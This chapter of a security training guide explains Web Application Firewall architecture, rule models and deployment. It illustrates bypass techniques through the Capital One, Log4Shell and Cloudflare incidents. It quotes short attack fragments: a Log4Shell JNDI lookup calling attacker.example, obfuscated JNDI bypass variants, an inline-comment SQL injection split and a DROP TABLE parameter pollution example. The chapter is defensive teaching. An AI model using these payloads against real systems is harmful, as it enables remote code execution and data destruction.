Chapter 40C — WAF: architecture, rules, and bypasses
In one sentence
A Web Application Firewall inspects HTTP traffic against rules before it reaches your application, and it is genuinely useful — for virtual patching and defence in depth — but every signature-based WAF can be bypassed by encoding, parser confusion, or request smuggling, so it must never be the only control for a vulnerability class you can actually fix.
Where we are
Parts 6 and 40A gave you the vulnerability classes and the payload-validation gate. A WAF sits in front of both, as one more layer — and, as the Capital One breach shows in stark detail, a misconfigured WAF can itself become the vulnerability.
How it works
What a WAF actually does:
An L7 REVERSE PROXY or INLINE FILTER that inspects each request
(and sometimes the response) against a rule set before allowing it
through to the origin application:
- pattern/signature matching against known attack strings (a SQLi
fragment, an XSS tag, a path-traversal sequence).
- ANOMALY SCORING: rather than a single rule blocking outright, each
matched pattern adds to a score; the request is blocked only once
the CUMULATIVE score crosses a threshold (this is how OWASP CRS's
"paranoia levels" work -- higher paranoia = more rules contribute
to the score = more false positives, traded for more coverage).
- RATE-BASED RULES: block a source exceeding N requests in a window
(a coarse rate limiter living inside the WAF, Ch 40B).
- VIRTUAL PATCHING: a rule written specifically to block exploitation
of a KNOWN, disclosed vulnerability in your stack (a CVE in a
framework or library) WHILE the real code fix works its way through
your Ch 59 vulnerability-management SLA -- the WAF buys you time,
it doesn't replace the patch.
Negative vs positive security, restated at the WAF layer (same principle as Ch 40A):
NEGATIVE (signature/blocklist) ModSecurity + the OWASP Core Rule Set
(CRS) is the standard open-source reference implementation -- broad
coverage out of the box, tunable paranoia levels, but fundamentally
playing catch-up against novel encodings and bypasses.
POSITIVE (allowlist) define exactly what's valid for THIS
application/endpoint (schemas, expected methods/paths/parameters)
and reject deviations -- far more effective, far more engineering
effort, and exactly what Ch 40A's payload schemas and a WAAP
platform's learned API schema (Ch 40D) both move toward.
Most real deployments run BOTH: broad negative-security managed rules
as the baseline, with positive-security schema/API-shape enforcement
layered on top for the endpoints that matter most.
Where a WAF is deployed:
CDN EDGE Cloudflare, Akamai, Fastly -- inspects traffic
before it even reaches your infrastructure; also the natural home
for volumetric DDoS absorption.
LOAD BALANCER /
API GATEWAY AWS WAF attached to CloudFront/ALB/API Gateway,
Azure WAF on Application Gateway/Front Door -- managed rule groups
(SQLi, XSS, known-bad-inputs, Log4j-class rules) plus custom rules
you author.
REVERSE PROXY self-hosted ModSecurity (or Coraza, its modern
Go reimplementation) in front of nginx/Apache -- full control, full
operational burden.
COMMERCIAL/DEDICATED F5 Advanced WAF, Imperva, Akamai Kona -- deeper
app-specific tuning and support, at real licensing cost.
Bypass techniques — a WAF is a parser too, and parser disagreements are exactly this guide's Part 6 Ch 30 theme, applied to the WAF itself:
ENCODING double URL-encoding, mixed case, Unicode
normalisation tricks (G1 Ch 7), inline SQL comments to split a
signature (`UNI/**/ON SEL/**/ECT`), null-byte and whitespace
insertion -- all aim to make the PAYLOAD's ON-THE-WIRE FORM not
match a signature while the BACKEND still interprets it as the
dangerous pattern after its own decoding/normalisation.
HTTP PARAMETER
POLLUTION sending the same parameter twice
(`?id=1&id=DROP+TABLE`) -- the WAF and the backend framework may
each pick a DIFFERENT one of the duplicates to actually inspect vs
act on (structurally the same "two components disagree about what
the message means" bug as request smuggling and Ch 40A's duplicate-
JSON-key problem).
CONTENT-TYPE
MISMATCH a WAF tuned to inspect `application/x-www-form-
urlencoded` bodies may not parse a payload sent as
`application/json` (or vice versa, or as multipart) at all -- Ch 40A's
"reject unexpected content types" rule is ALSO a WAF-bypass defence.
REQUEST SMUGGLING the most complete bypass of all: Ch 30's CL/TE
desync lets an attacker smuggle a SECOND request past the WAF
entirely -- the WAF only ever sees and inspects the FIRST, outer
request; the smuggled one reaches the backend unfiltered. This is
precisely why Ch 30's fix (consistent parsing, HTTP/2 end-to-end,
no back-end connection reuse across clients) matters even when a
WAF is in front of everything.
OVERSIZED/FRAGMENTED
PAYLOADS padding a request with a large amount of junk
before the actual payload, or splitting the payload across many
small chunks, can exceed a WAF's inspection BUFFER SIZE -- content
past the inspected portion sails through unchecked while the
backend happily reassembles and processes the whole thing.
LOGIC/BUSINESS-FLOW
BYPASSES a WAF understands HTTP syntax, not YOUR
application's business rules -- it has nothing to say about Ch 35's
race conditions, Ch 40B's business-flow abuse (API6), or a broken
authorization check (BOLA/BFLA) that uses entirely well-formed,
signature-clean requests.
Worked example
The WAF that became the breach: Capital One, 2019.
In the 2019 Capital One breach (detailed in the subsequent DOJ
complaint and Capital One's own public disclosures), the attacker
exploited a SERVER-SIDE REQUEST FORGERY vulnerability in a
MISCONFIGURED, self-hosted WAF sitting in front of Capital One's
cloud-hosted infrastructure. Two failures compounded:
1. The WAF itself was vulnerable to SSRF (Part 6 Ch 33) -- it could
be tricked into making an outbound request on the attacker's
behalf.
2. The WAF was running with an OVER-PERMISSIONED IAM ROLE that had
far broader S3 access than a WAF should ever need (a Part 2
Ch 6 privilege-escalation-adjacent failure: the WAF's own
identity was the actual blast-radius problem, not just its
code).
The attacker used the WAF's own SSRF flaw to make it query the AWS
INSTANCE METADATA SERVICE (Part 2 Ch 10's exact IMDS chain), retrieved
the WAF's overly-broad role's temporary credentials, and used THOSE
credentials directly against S3 to list and exfiltrate data from over
700 buckets -- roughly 100 million customers' and applicants' records.
THE LESSON, precisely: a WAF is application code and infrastructure
like anything else you run. It needs its OWN threat model (Part 1
Ch 4), its OWN least-privilege identity (Part 2 Ch 6 -- a WAF has NO
legitimate reason to hold broad S3 read access), IMDSv2 with hop-
limit-1 like every other workload (Part 2 Ch 10), and patching
discipline like every other piece of software in the estate (Ch 59).
"We have a WAF" is not a security control if the WAF ITSELF is the
least-hardened thing in the architecture -- in this incident, it was
the single most damaging component precisely because it sat in front
of everything and could reach broad infrastructure credentials.
Real-world scenario 2: virtual patching and its bypass, in the same week — Log4Shell
When CVE-2021-44228 ("Log4Shell") became public in December 2021 --
a trivially exploitable remote-code-execution flaw in the ubiquitous
Java logging library Log4j, triggered by getting the vulnerable
library to LOG an attacker-controlled string containing a JNDI
lookup like `${jndi:ldap://attacker.example/a}` -- it was, for a few
days, essentially impossible to patch the underlying library
everywhere it was transitively used (G1 Ch 47's dependency-depth
problem, at internet scale, under maximum time pressure). WAF vendors
(Cloudflare, AWS, and others) shipped EMERGENCY MANAGED RULES within
hours specifically to block the `${jndi:` pattern at the edge --
Ch 40C's virtual patching, played out in public, in real time, as
THE primary mitigation available to most organisations in the first
72 hours.
AND WITHIN DAYS, security researchers published a stream of
BYPASSES for those first-generation signature rules, using exactly
this chapter's encoding-bypass techniques:
${jndi:ldap://...} <- the original, quickly blocked
${${::-j}${::-n}${::-d}${::-i}:ldap://...} <- nested lookup obfuscation,
reconstructs "jndi" from
empty-default substitutions
a naive string-match rule
never sees
${jndi:${lower:l}${lower:d}ap://...} <- case-folding lookups reassemble
the scheme itself
%24%7Bjndi... <- URL encoding
Each bypass forced ANOTHER round of WAF rule updates, in a genuine,
fast-moving arms race -- while the REAL fix (upgrading Log4j itself,
or the JVM flag disabling JNDI lookups) rolled out on its own, slower
timeline.
THE LESSON THIS SCENARIO ADDS: virtual patching bought real, valuable
time at a moment when no other mitigation was available fast enough --
but it was NEVER close to sufficient on its own, exactly because
Log4j's own EXPRESSION LANGUAGE (the `${...}` lookup syntax) gave
attackers a huge, combinatorial space of equivalent-but-differently-
encoded payloads to route around each new signature. This is the
sharpest real-world illustration available of "a WAF signature blocks
THIS payload, not THIS VULNERABILITY" -- the actual fix was always the
library upgrade, tracked and prioritised exactly the way Ch 59 (KEV/
EPSS-driven, since Log4Shell was in CISA's Known Exploited
Vulnerabilities catalog within days) describes.
Real-world scenario 3: the WAF as its own availability risk
In July 2019, Cloudflare's own published post-mortem described a
global outage lasting roughly 30 minutes, affecting a very large
share of the internet traffic that flows through their network --
caused not by an attack, but by Cloudflare's OWN WAF TEAM deploying a
single new managed rule containing a REGULAR EXPRESSION with
CATASTROPHIC BACKTRACKING (a ReDoS pattern, G1 Ch 28/this guide Ch 28's
algorithmic-complexity discussion, but triggered by the WAF's OWN
rule logic against ordinary traffic rather than by an attacker's
crafted input). The pathological regex caused CPU usage on their edge
servers to spike to 100% worldwide, almost simultaneously, because
the same rule deployed everywhere at once.
WHY THIS BELONGS IN A WAF CHAPTER SPECIFICALLY: a WAF sits directly
in the request path of EVERYTHING behind it -- which makes it a
powerful control (Ch 40C's whole premise) and, in the same breath, a
SINGLE POINT OF FAILURE for availability if its own rules misbehave.
The fix pattern Cloudflare adopted afterward -- and the general
lesson for anyone authoring WAF/CRS rules -- maps directly onto
controls already taught elsewhere in this guide:
- STAGED ROLLOUT of new rules (a canary percentage of traffic
first, not a simultaneous global deployment) -- the SAME
discipline as Ch 51's detection-rule rollout and Part 4 Ch 18's
admission-policy audit-before-enforce pattern, applied to WAF
rule authoring.
- LINEAR-TIME regex engines (RE2-family) for anything evaluated
against untrusted or high-volume input, exactly as Ch 28
recommends for application-layer input handling -- a WAF's own
rule engine is not exempt from the ReDoS risk it exists to catch
in OTHERS' code.
- a KILL SWITCH / fast-rollback path for rule deployments, tested
and ready before it's needed, not designed under incident
pressure.
Practice (60 min)
- Deploy ModSecurity + OWASP CRS (or Coraza) in front of a lab app at a moderate paranoia level. Confirm it blocks a textbook SQLi/XSS payload; note the request that gets a 403.
- Try at least two encoding-based bypasses from this chapter (double URL-encoding, an inline SQL comment split) against the same payload; check whether either slips past the WAF while the backend still executes it.
- Reproduce the request-smuggling-past-a-WAF scenario conceptually: with the Ch 30 lab set up (a front-end/back-end pair with a CL/TE mismatch), put a WAF in front of the front-end and confirm the smuggled second request never gets inspected because the WAF only ever sees the outer request.
- Write ONE virtual-patch rule for a specific, disclosed vulnerability class in something you run (e.g. a known CVE pattern), and document it as a time-boxed mitigation tied to a Ch 59 SLA for the real fix — with an expiry date to remove the rule once the patch ships.
- Audit any WAF/reverse-proxy component you operate for its OWN IAM role/ service account scope, per the Capital One lesson: does it hold any permission it doesn't strictly need to do its job as a WAF?
Across the series
- Build a WAF in Go, from skeleton to SQLi, XSS, and traversal rules, body inspection, and normalisation: the Go plan's Week 10. Request-smuggling and cache bypasses that a WAF must survive: Chapters 30–31 here, with the HTTPS guide's
desyncandedgecachelabs.
Common mistakes
- "We have a WAF" as the whole answer. It's one layer; request smuggling, content-type mismatches, and business-logic bugs all route around it entirely.
- An over-privileged WAF identity. The single most consequential mistake in the Capital One breach — the WAF's blast radius was the actual damage, not the SSRF bug alone.
- Relying on virtual patching indefinitely. It's a stopgap tied to an SLA (Ch 59), not a substitute for actually fixing the vulnerability.
- Tuning the WAF for one content type and accepting several on the same endpoint. Give the WAF nothing to inspect in the format it doesn't parse.
- Never testing your own WAF for bypasses. If you haven't tried encoding variants and request smuggling against it, you don't actually know what it stops.
- Treating a WAF block as proof the vulnerability is fixed. It's evidence the SIGNATURE didn't match this one payload — not that the underlying flaw is gone.
Check yourself
- What is virtual patching, and what discipline (from an earlier chapter) should always accompany it?
- Negative vs positive WAF security models — describe the trade-off.
- Why does HTTP request smuggling completely bypass a WAF, rather than just evading one signature?
- In the Capital One breach, what were the two compounding failures, and which was arguably the more consequential one?
- Give three WAF bypass technique categories and the underlying principle each exploits.
Further reading
- Reference implementation: OWASP Core Rule Set (CRS) documentation (paranoia levels, anomaly scoring); ModSecurity and Coraza project docs.
- Incident: the US DOJ's 2019 complaint against the Capital One attacker and Capital One's own public breach disclosures — read the SSRF/IAM-role chain in the primary sources, not just summaries.
- Cloud WAF docs: AWS WAF "managed rule groups" and rate-based rules; Cloudflare WAF and its OWASP-CRS-based managed ruleset documentation.
- Bypass research: PortSwigger and independent bug-bounty write-ups on "WAF bypass" techniques (search current-year conference talks — this is an actively-published research area with new techniques appearing regularly).
- Incident: CVE-2021-44228 (Log4Shell) — the original disclosure advisory, CISA's emergency directive and KEV listing, and the numerous published JNDI-obfuscation bypass write-ups from December 2021; an excellent single incident to study for virtual patching AND its limits together.
- Incident: Cloudflare's own public post-mortem, "Cloudflare outage on July 2, 2019" (their engineering blog) — a first-party account of a WAF rule's regex causing a global CPU-exhaustion outage, with the remediation steps they adopted afterward.